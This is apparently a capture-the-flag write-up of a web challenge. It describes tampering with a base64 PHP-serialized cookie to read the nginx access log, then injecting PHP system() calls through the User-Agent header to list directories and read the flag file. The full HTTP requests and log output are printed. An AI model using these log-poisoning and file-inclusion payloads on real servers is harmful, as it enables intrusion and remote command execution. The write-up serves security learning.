Toxic


Capture the Flag Challenge.

Link: Challenge can be found here.


Overview:

*Note – during the repost, it may the addresses displayed of the remote server used – changes throughout the report. As the virtual machine uses needs to be constantly restarted every few hours.

This CTF website is page describing about dart frog



It has some buttons but none of them work:



Method:

The first usual approaches of code inspection and 'Dirbuster' didn't reveal anything of significance.

So the next stage was observing the http traffic on burpSuite.

Here we see something interesting – for the first visit, we get cookie from the website:

```
HTTP/1.1 200 0K

2 Server: nginx

3 Date: Sat, 14 Oct 2023 08:47:15 GMT

4 Content-Type: text/html; charset=UTF-8

5 Connection: close

6 X-Powered-By: PHP/7.4.15

Set-Cookie: PHPSESSID=Tzo50iJQYWdlTW9kZWwi0jE6e3M6NDoiZmlsZSI7czoxNToiL3d3dy9pbmRleC5odGlsIjt9; expires=Sun, 15-Oct-2023 08:47:15 GMT;

Max-Age=86400; path=/
Content-Length: 7665
```

For further visits – the cookie is handed over in the request:

We need to take a look in this cookie, the seemingly unreadable string is base64, so lets decode the cookie:



The decoded string is php object.

We can observe that it calls to a file which is '/www/index.html'.

So, when the server gets the cookie, it known to fetch the client index.html.

If no cookie is received, it generated the cookie and fetches index.html.

So what we need to do, is to change the '/www/index.html' file to other file that might be useful to us, and set the cookie to the base64 encoded string.

But to which file? The current file path is '/www/index.html', and on the http response header we can see the server is 'nginx' – 'nginx' has access log file, which is: '/var/log/nginx/access.log'.

So I modified the cookie in the request:



Changed the destination path and string length of it.

Now let's take a look in the response content:

```
26 206.189.28.180 - 200 "GET /static/images/favicon.ico HTTP/l.1" "http://206.189.28.180:30185/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/2010010 Firefox/118.0" "mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/l17.0.5938.132 Safari/537.36" [Content of the Content o
```

It can be observed that I didn't get the website itself, but the traffic log of the website entries.

Each record contains the request location, and the user-agent.

Now, servers that run with php that were not configured properly – will attempt to execute that user-agent value. So if we modify the user-agent to php execution command, we should see the output in the log.

Lets test it with: <?php system('ls');?>

```
1 GET / HTTP/1.1
2 Host: 206.189.28.180:30185
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: <?php system('ls');?>
6 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
9 Cookie: PHPSESSID=Tzo50iJQYWdlTW9kZWwi0jE6e3M6NDoiZmlszSI7czoxNToiL3d3dy9pbmRleCSodGlsIjt9
10 Connection: close
```

Then we observed the access.log file:

It worked.

Now we need to find the flag location.

We will try one directory backward with '<?php system('ls ../');?>':

```
1 GET / HTTP/1.1
2 Host: 206.189.28.180:30185
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: <?php system('ls ../');?>
6 Accept:
   text/html,application/xhtml+xml,application
7 Accept-Encoding: gzip, deflate, br
8 Accept-Language: en-GB,en-US;q=0.9,en;q=0.19
9 Cookie: PHPSESSID=Tzo50iJQYWdlTW9kZWwi0jE60
10 Connection: close
```

Lets see the result in the log file:

```
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ll7.0.5938.132 Safari/537.36"

59 206.189.28.180 - 200 "GET / HTTP/l.1" "-" "bin

dev
61 entrypoint.sh
62 etc
63 flag_Xuuqf
64 home
65 lib
66 media
67 mnt
68 opt
69 proc
70 root
71 run
72 sbin
73 srv
74 sys
75 tmp
76 usr
77 var
78 www
79 "
```

It worked! We can see the flag in line 63.

Let get it with 'cat ../flag Xuuqf':

```
1 GET / HTTP/1.1
2 Host: 142.93.32.153:31628
3 Cache-Control: max-age=0
4 Upgrade-Insecure-Requests: 1
5 User-Agent: <?php system('cat ../flag_Xuuqf');?>
6 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image.
7 Accept-Lenguage: en-GB,en-US;q=0.9,en;q=0.8
9 Cookie: PHPSESSID=T2050iJQYWdlTW9kZwwi0jE6e3M6MDoiZmlsZSI7c:
10 Connection: close
```

And after we take a look in the logs:

```
142.93.32.153 - 200 "GET /favicon.ico HTTP/1.1" "http://142.93.32.153:3162
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
142.93.32.153 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}
```

We got the flag!

Conclusions:

What I mostly learned are attacks such as LFI – local file inclusion which allows the attacker to gain access to server files that the user should be able to access to, in this challenge it was achieved my modifying the php object notation.

And the log injection attack, where the attacker can inject commands through http header values, something similar to SQL injection.

The challenge was fun eventually, widening my point of view for detecting vulnerabilities and area to exploits in web applications.